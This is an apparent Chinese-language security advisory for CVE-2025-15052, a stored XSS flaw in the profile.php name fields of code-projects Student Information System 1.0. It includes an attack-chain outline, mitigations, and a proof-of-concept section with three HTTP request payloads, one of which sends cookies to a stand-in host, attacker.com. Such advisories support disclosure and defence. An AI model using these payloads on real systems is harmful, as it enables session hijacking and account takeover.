IPBUF安全漏洞报告
English
CVE-2025-15052 CVSS 3.5 低危

CVE-2025-15052 code-projects学生信息系统存储型XSS漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2025-15052
漏洞类型
存储型XSS
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
code-projects Student Information System 1.0

相关标签

CVE-2025-15052存储型XSS跨站脚本code-projectsStudent Information SystemWeb应用安全低危漏洞profile.phpJavaScript注入

漏洞概述

CVE-2025-15052是code-projects Student Information System 1.0版本中存在的存储型跨站脚本(XSS)漏洞。该漏洞位于用户个人资料管理页面(/profile.php),攻击者可以通过修改个人资料中的firstname(名)或lastname(姓)参数注入恶意JavaScript代码。由于该输入会被系统存储并在后续页面访问时重新呈现给用户,因此属于存储型XSS漏洞。攻击者利用此漏洞可以在受害者的浏览器会话中执行任意JavaScript代码,从而窃取会话Cookie、劫持用户账户、修改页面内容或进行钓鱼攻击。由于该漏洞需要低权限用户身份,且需要用户交互才能触发,因此CVSS评分仅为3.5(低危)。但在实际攻击场景中,如果管理员查看包含恶意脚本的用户资料,攻击者可能获得管理员权限,进而完全控制学生信息系统。该漏洞已于2025年12月24日公开披露, exploits已公开可利用。

技术细节

该存储型XSS漏洞存在于code-projects Student Information System 1.0的/profile.php文件中的firstname和lastname参数处理逻辑中。系统在处理用户提交的个人资料信息时,未对用户输入进行充分的输入验证和输出编码。当用户提交包含恶意JavaScript代码的firstname或lastname字段时,这些数据被直接存储到数据库中而未进行安全过滤。在后续页面加载或管理员查看用户列表时,这些恶意数据被直接输出到HTML页面中,导致浏览器将其作为可执行脚本解析。攻击者可以利用此漏洞注入<script>标签或其他XSS向量(如img onerror、svg onload等)来执行JavaScript代码。由于攻击者需要预先登录系统并修改个人资料,因此需要具备低权限用户账号。攻击成功需要目标用户(如管理员)访问包含恶意脚本的页面,触发漏洞利用。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用code-projects Student Information System 1.0,访问/profile.php页面了解漏洞点
STEP 2
账户获取
攻击者注册或获取系统低权限用户账户(如学生账户)
STEP 3
恶意Payload注入
攻击者登录系统后,访问/profile.php页面,在firstname或lastname字段中注入XSS恶意代码并提交
STEP 4
数据持久化
恶意脚本被存储到数据库中,由于系统未进行输入验证,payload被永久保存
STEP 5
漏洞触发
当管理员或其他用户访问包含恶意资料的页面时,存储的XSS payload被执行
STEP 6
恶意操作执行
在受害者浏览器中执行JavaScript代码,可能窃取Cookie、劫持会话、修改页面内容或重定向用户
STEP 7
权限提升
如果管理员账户被攻击,攻击者可获得管理员权限,完全控制学生信息系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-15052 Stored XSS PoC for code-projects Student Information System 1.0 --> <!-- Affected: /profile.php firstname/lastname parameters --> <!-- Method 1: Using script tag --> POST /profile.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=vulnerable_session_id firstname=<script>alert(document.cookie)</script>&lastname=Test&update=Update <!-- Method 2: Using img onerror event --> POST /profile.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=vulnerable_session_id firstname=<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>&lastname=Test&update=Update <!-- Method 3: Using svg onload event --> POST /profile.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=vulnerable_session_id firstname=<svg onload=eval(atob('YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ=='))>&lastname=Test&update=Update <!-- After successful injection, the XSS payload will be stored and executed when viewing the profile page -->

影响范围

code-projects Student Information System 1.0

防御指南

临时缓解措施
在官方修复补丁发布前,可采取以下临时缓解措施:1)临时禁用/profile.php页面的用户资料修改功能;2)对所有用户输入实施严格的输入验证和输出编码;3)启用Web应用防火墙规则阻止XSS攻击;4)对管理员账户实施双因素认证;5)加强会话管理,定期刷新会话ID;6)监控异常的用户资料修改行为和可疑的JavaScript执行日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表